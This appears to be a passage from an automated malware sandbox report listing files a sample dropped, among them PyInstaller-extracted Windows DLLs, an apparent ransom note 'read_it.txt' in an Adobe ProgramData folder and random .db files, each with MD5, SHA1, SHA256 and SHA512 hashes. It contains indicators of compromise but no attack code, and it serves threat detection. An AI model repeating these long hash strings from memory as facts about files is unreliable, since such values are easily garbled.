SHA512 5eb31be9bce51a475c18267d89ee7b045af37b9f0722baaa85764114326c7a8d0a1662135e102d7ac074c24a6035232a527fc8745139a26cb62f33913ace3178

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-synch-l1-1-0.dll

MD5 f378455fb81488f5bfd3617e3c5a75c0
SHA1 312fa1343498e99565b1fbf92e6e1e05351cbc99
SHA256 91e50f94a951aa4e48a9059ad222bbe132b02e83d4a7df94a35ea73248e84800
SHA512 11d80d4f58da3827a317a3c1ed501432050e123eb992ed58c7765c68ddd2fc49b04398149e73fdb9fb3aa4494b440333aa26861b796e7ae8c7ad730f4faf99f7

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-string-l1-1-0.dll

MD5 6e5da9819bd53dcb55abde1da67f3493
SHA1 8562859ebf3ce95f7ecb4e2c785f43ad7aaaf151
SHA256 30dc0deb0faf0434732f2158ad24f2199def8dd04520b9daabbc5f0b3b6ddf40
SHA512 75eb227ca60ff8e873dac7fa3316b476b967069e8f0ac31469b2de5a9b21044db004353febf2b53069392be10a8bf40563bb5d6d4be774d37d12cf6fbeced175

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-rtlsupport-l1-1-0.dll

MD5 2aa1f0c20dfb4586b28faf2aa16b7b00
SHA1 3c4e9c8fca6f24891430a29b155876a41f91f937
SHA256 d2c9ee6b1698dfe99465af4b7358a2f4c199c907a6001110edbea2d71b63cd3f
SHA512 ae05338075972e258bcf1465e444c0a267ad6f03fbb499f653d9d63422a59ac28f2cb83ec25f1181699e59ecbaac33996883e0b998cbade1cc011bc166d126d0

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-profile-l1-1-0.dll

MD5 051847e7aa7a40a1b081ff4b79410b5b
SHA1 4ca24e1da7c5bb0f2e9f5f8ce98be744ea38309e
SHA256 752542f72af04b3837939f0113bfcb99858e86698998398b6cd0e4e5c3182fd5
SHA512 1bfb96d15df1cd3dcefc933aeca3ce59bef90e4575a66eaab92386f8e93652906626308886dd9b82c0863d1544331bbf99be8e781fa71d8c4c1f5fff294056dc

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-processthreads-l1-1-1.dll

MD5 e93816c04327730d41224e7a1ba6dc51
SHA1 3f83b9fc6291146e58afce5b5447cd6d2f32f749
SHA256 ca06ccf12927ca52d8827b3a36b23b6389c4c6d4706345e2d70b895b79ff2ec8
SHA512 beaab5a12bfc4498cdf67d8b560ef0b0e2451c5f4634b6c5780a857666fd14f8a379f42e38be1beefa1c3578b2df913d901b271719ac6794bfaab0731bb77bca

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-processthreads-l1-1-0.dll

MD5 2dd711ea0f97cb7c5ab98ae6f57b9439
SHA1 cba11e3eebe7b3d007eb16362785f5d1d1251acd
SHA256 a958fd20c06c90112e9e720047d84531b2bd0c77174660dc7e1f093a2ed3cc68
SHA512 d8d39ca07fdfed6a4e5686eae766022941c19bfbceb5972edd109b453fd130b627e3e2880f8580a8a41601493d0c800e64a76e8590070aa13c1abd550bd1a1ba

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-processenvironment-l1-1-0.dll

MD5 cc52cd91b1cbd20725080f1a5c215fcc
SHA1 2ce6a32a5bd6fa9096352d3d73e7b19b98e0cc49
SHA256 990dc7898fd7b442d50bc88fec624290d69f96030a1256385391b05658952508
SHA512 d262f62adde8a3d265650a4b56c866bdd2b660001fb2ca679d48ee389254e9ffa6ce9d69f2aaa619d22a155a5523dce5f7cfdd7638c0e9df1fe524b09520d5a3

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-namedpipe-l1-1-0.dll

MD5 0e5cd808e9f407e75f98bbb602a8df48
SHA1 285e1295a1cf91ef2306be5392190d8217b7a331
SHA256 1846947c10b57876239d8cb74923902454f50b347385277f5313d2a6a4e05a96
SHA512 7d8e35cabe7c3b963e6031cd73dc5ad5edf8b227df735888b28d8efb5744b531f0c84130e47624e4fea8ef700eabde20a4e2290a1688a6acffb6a09ca20d7085

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-memory-l1-1-0.dll

MD5 d39fbbeac429109849ec7e0dc1ec6b90
SHA1 2825c7aba7f3e88f7b3d3bc651bbc4772bb44ad0
SHA256 aeec3d48068137870e6e40bad9c9f38377aa06c6ea1ac288e9e02af9e8c28e6b
SHA512 b4197a4d19535e20ed2aff4f83aced44e56abbb99ce64e2f257d7f9b13882cbdb16d8d864f4923499241b8f7d504d78ff93f22b95f7b02996b15bb3da1a0ef42

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-localization-l1-2-0.dll

MD5 71457fd15de9e0b3ad83b4656cad2870
SHA1 c9c2caf4f9e87d32a93a52508561b4595617f09f
SHA256 db970725b36cc78ef2e756ff4b42db7b5b771bfd9d106486322cf037115bd911
SHA512 a10fcf1d7637effff0ae3e3b4291d54cc7444d985491e82b3f4e559fbb0dbb3b6231a8c689ff240a5036a7acae47421cda58aaa6938374d4b84893cce0077bc8

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-libraryloader-l1-1-0.dll

MD5 4334f1a7b180998473dc828d9a31e736
SHA1 4c0c14b5c52ab5cf43a170364c4eb20afc9b5dd4
SHA256 820e3acd26ad7a6177e732019492b33342bc9200fc3c0af812ebd41fb4f376cb
SHA512 7f2a12f9d41f3c55c4aff2c75eb6f327d9434269ebff3fbcc706d4961da10530c069720e81b1573faf919411f929304e4aaf2159205cf9a434b8833eea867aa9

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-interlocked-l1-1-0.dll

MD5 aff9165cff0fb1e49c64b9e1eaefdd86
SHA1 cdef56ab5734d10a08bc373c843abc144fe782cb
SHA256 159ecb50f14e3c247faec480a3e6e0cf498ec13039c988f962280187cee1391d
SHA512 64ddf8965defaf5e5ae336d37bdb3868538638bad927e2e76e06ace51a2bca60aefaab18c300bb7e705f470a937ad978edd0338091ad6bcc45564c41071eeb40

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-heap-l1-1-0.dll

MD5 405038fb22cd8f725c2867c9b4345b65
SHA1 385f0eb610fce082b56a90f1b10346c37c19d485
SHA256 1c1b88d403e2cde510741a840afa445603f76e542391547e6e4cc48958c02076
SHA512 b52752ac5d907dc442ec7c318998fd54ad9ad659bde4350493fe5ca95286ecefcbbbf82d718d4bf4e813b4d20a62cd1f7ba11ee7c68c49ec39307b7746968d18

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-handle-l1-1-0.dll

MD5 10f0c22c19d5bee226845cd4380b4791
SHA1 1e976a8256508452c59310ca5987db3027545f3d
SHA256 154ef0bf9b9b9daa08101e090aa9716f0fa25464c4ef5f49bc642619c7c16f0e
SHA512 3a5d3dc6448f65e1613e1a92e74f0934dd849433ceca593e7f974310cd96bf6ad6ccc3b0cb96bdb2dcc35514bc142c48cb1fd20fee0d8fa236999ad155fc518b

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-file-l2-1-0.dll

MD5 7f14fd0436c066a8b40e66386ceb55d0
SHA1 288c020fb12a4d8c65ed22a364b5eb8f4126a958
SHA256 c78eab8e057bddd55f998e72d8fdf5b53d9e9c8f67c8b404258e198eb2cdcf24
SHA512 d04adc52ee0ceed4131eb1d133bfe9a66cbc0f88900270b596116064480afe6ae6ca42feb0eaed54cb141987f2d7716bb2dae947a025014d05d7aa0b0821dc50

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-file-l1-2-0.dll

MD5 49e3260ae3f973608f4d4701eb97eb95
SHA1 097e7d56c3514a3c7dc17a9c54a8782c6d6c0a27
SHA256 476fbad616e20312efc943927ade1a830438a6bebb1dd1f83d2370e5343ea7af
SHA512 df22cf16490faa0dc809129ca32eaf1a16ec665f9c5411503ce0153270de038e5d3be1e0e49879a67043a688f6c42bdb5a9a6b3cea43bf533eba087e999be653

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-file-l1-1-0.dll

MD5 792c2b83bc4e0272785aa4f5f252ff07
SHA1 6868b82df48e2315e6235989185c8e13d039a87b
SHA256 d26d433f86223b10ccc55837c3e587fa374cd81efc24b6959435a6770addbf24
SHA512 72c99cff7fd5a762524e19abee5729dc8857f3ee3c8f78587625ec74f2ad96af7dee03aba54b441cda44b04721706bed70f3ad88453a341cbb51aac9afd9559e

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-errorhandling-l1-1-0.dll

MD5 0ffb34c0c2cdec47e063c5e0c96b9c3f
SHA1 9716643f727149b953f64b3e1eb6a9f2013eac9c
SHA256 863a07d702717cf818a842af0b4e1dfd6e723f712e49bf8c3af3589434a0ae80
SHA512 4311d582856d9c3cac2cdc6a9da2137df913bcf69041015fd272c2780f6ab850895deb69279a076376a2e6401c907cb23a3052960478a6cf4b566a20cce61bd1

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-debug-l1-1-0.dll

MD5 e485c1c5f33ad10eec96e2cdbddff3c7
SHA1 31f6ba9beca535f2fb7ffb755b7c5c87ac8d226c
SHA256 c734022b165b3ba6f8e28670c4190a65c66ec7ecc961811a6bdcd9c7745cac20
SHA512 599036d8fa2e916491bedb5bb49b94458a09dddd2908cf770e94bb0059730598ec5a9b0507e6a21209e2dcae4d74027313df87c9ab51fad66b1d07903bae0b35

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-datetime-l1-1-0.dll

MD5 a17d27e01478c17b88794fd0f79782fc
SHA1 2b8393e7b37fb990be2cdc82803ca49b4cef8546
SHA256 ac227773908836d54c8fc06c4b115f3bdfc82e4d63c7f84e1f8e6e70cd066339
SHA512 ddc6dda49d588f22c934026f55914b31e53079e044dec7b4f1409668dbfe8885b887cc64a411d44f83bc670ac8a8b6d3ad030d4774ef7bf522f1d3bc00e07485

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-console-l1-1-0.dll

MD5 71405f0ba5d7da5a5f915f33667786de
SHA1 bb5cdf9c12fe500251cf98f0970a47b78c2f8b52
SHA256 0099f17128d1551a47cbd39ce702d4acc4b49be1bb1cfe974fe5a42da01d88eb
SHA512 b2c6438541c4fa7af3f8a9606f64eeef5d77ddbc0689e7501074bb72b7cc907a8461a75089e5b70b881bc3b1be009888ff25ea866faaf1c49dd521027041295a

memory/4064-226-0x00007FF854DF0000-0x00007FF8558B1000-memory.dmp

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\read_it.txt

MD5 8d343bf17ef14ed4108d2db0f866100a
SHA1 c40e7c3d21224852317c9faa94fb9491798afe64
SHA256 ff6234d40f59879bfb8cbc051303e5c40b7faab945a8b867937146cf693032a3
SHA512 5ef8d0a32c7b00393f9ccec32ec5b65532c0cb15f7f03bd93920fe74d365a4805da55b26bc0c6ed56b96a47a1c186a673147cb67539a6e907e82416b331e9303

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Magnify.lnk

MD5 d1457b72c3fb323a2671125aef3eab5d
SHA1 5bab61eb53176449e25c2c82f172b82cb13ffb9d
SHA256 8a8de823d5ed3e12746a62ef169bcf372be0ca44f0a1236abc35df05d96928e1
SHA512 ca63c07ad35d8c9fb0c92d6146759b122d4ec5d3f67ebe2f30ddb69f9e6c9fd3bf31a5e408b08f1d4d9cd68120cced9e57f010bef3cde97653fed5470da7d1a0

C:\Users\Admin\AppData\Local\Tempcsmmbpnjtg.db

MD5 503d6b554ee03ef54c8deb8c440f6012
SHA1 e306b2a07bf87e90c63418024c92933bcc3f4d7f
SHA256 4c407af4d5326d1ea43e89945eda0b86c81ad0d12bd5465b327c0fd1df56f7d4
SHA512 3490b51dfe2e8f6efa3cdeee7bc08c03072597861c1a2f88dc830139abb7611c671ddad345c2af97bb1e88927c09467ed92b5feafe6696d7e2b31b3bd3447437

C:\Users\Admin\AppData\Local\Tempcslvdefskg.db

MD5 f70aa3fa04f0536280f872ad17973c3d
SHA1 50a7b889329a92de1b272d0ecf5fce87395d3123
SHA256 8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA512 30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84